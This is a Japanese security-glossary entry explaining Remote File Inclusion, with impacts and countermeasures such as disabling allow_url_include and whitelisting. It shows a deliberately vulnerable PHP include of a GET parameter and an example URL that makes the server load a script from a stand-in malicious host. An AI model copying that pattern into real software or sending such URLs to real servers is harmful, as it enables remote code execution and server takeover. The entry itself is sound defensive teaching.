RFI｜サイバーセキュリティ.com

  1. ホーム /
  2. セキュリティ用語集 /
  3. RFI
             

RFI

RFI（Remote File Inclusion） とは、Webアプリケーションの脆弱性を悪用して、リモートにある外部のファイルをサーバーに読み込ませ、実行する攻撃手法の一つです。主にPHPなどのサーバーサイドスクリプトを対象とした攻撃で、攻撃者が任意のスクリプトを外部から読み込ませることで、サーバー側で不正なコードを実行し、情報を窃取したり、システムを制御したりすることが可能です。

RFI攻撃は、脆弱なWebアプリケーションで入力値の検証が不十分な場合に発生します。攻撃者は、URLパラメータなどを利用して外部の悪意のあるスクリプトを指定し、サーバー上でそのスクリプトを実行させます。これにより、攻撃者はサーバーのシステム権限を得たり、機密情報を取得したり、他のマルウェアをダウンロードさせたりすることができます。

RFIの仕組みと例

RFIは、リモートのファイルをインクルード（読み込み）する仕組みを利用します。例えば、以下のようなPHPコードが脆弱な状態にある場合を考えます。

<?php
include($_GET['page']);
?>

このコードでは、pageというパラメータで指定されたファイルをサーバーに読み込ませるようになっています。もし、攻撃者が以下のようにURLを操作すると、外部のスクリプトが読み込まれ、実行される可能性があります。

http://example.com/vulnerable.php?page=http://malicious.com/malicious.php

このような操作によって、外部のスクリプト（malicious.php）がサーバーで実行され、システムに悪影響を及ぼす可能性があります。

RFIの影響

RFI攻撃が成功すると、以下のような深刻な影響が生じることがあります：

  1. 情報漏洩: 機密情報やユーザーデータが攻撃者に盗まれる可能性があります。
  2. 不正なスクリプトの実行: 攻撃者がサーバー上で任意のコードを実行できるため、システムに大きな被害を与える可能性があります。
  3. マルウェアの拡散: 攻撃者はマルウェアをサーバーに設置し、他のユーザーに感染させることも可能です。
  4. サーバーの乗っ取り: RFIを通じてサーバーの管理権限を取得することが可能となり、サーバー全体が攻撃者の制御下に置かれる危険性があります。

RFIの対策

1. 入力値の検証とエスケープ

すべての外部からの入力値を厳格に検証し、不正な値が渡されないようにすることが重要です。特に、外部からの入力を直接インクルードするようなコードは避けるべきです。

2. ファイルのインクルード制御を行う

PHP設定の allow_url_include を Off にすることで、外部URLからのインクルードを禁止することができます。これにより、外部ファイルの読み込みを防止できます。

3. ホワイトリスト方式の採用

インクルードするファイルを制限するために、事前に許可されたファイルのみを読み込むホワイトリスト方式を導入します。これにより、攻撃者が任意のファイルを読み込むことができなくなります。

4. セキュリティパッチの適用

Webサーバーやアプリケーションのセキュリティパッチを最新の状態に保ち、既知の脆弱性を防ぐことが重要です。特に、サードパーティ製のプラグインやモジュールについても注意が必要です。

5. ファイルシステムの権限管理

サーバー上のファイルやディレクトリに対する権限を適切に管理し、不正なスクリプトの書き込みや実行を防止することが重要です。

まとめ

RFI（Remote File Inclusion）は、Webアプリケーションの脆弱性を悪用してリモートのファイルを読み込み、サーバーで実行する攻撃手法です。被害を防ぐためには、適切な入力検証、ファイルのインクルード制御、セキュリティ設定の強化が必要です。RFI攻撃を防ぐことは、Webアプリケーションの安全性を確保し、システム全体のセキュリティリスクを軽減するために重要です。

関連コラム（あわせて、以下の記事もよく読まれています）

製品・サービス（当該コラムの内容に関連する製品・サービスはこちら）


SNSでもご購読できます。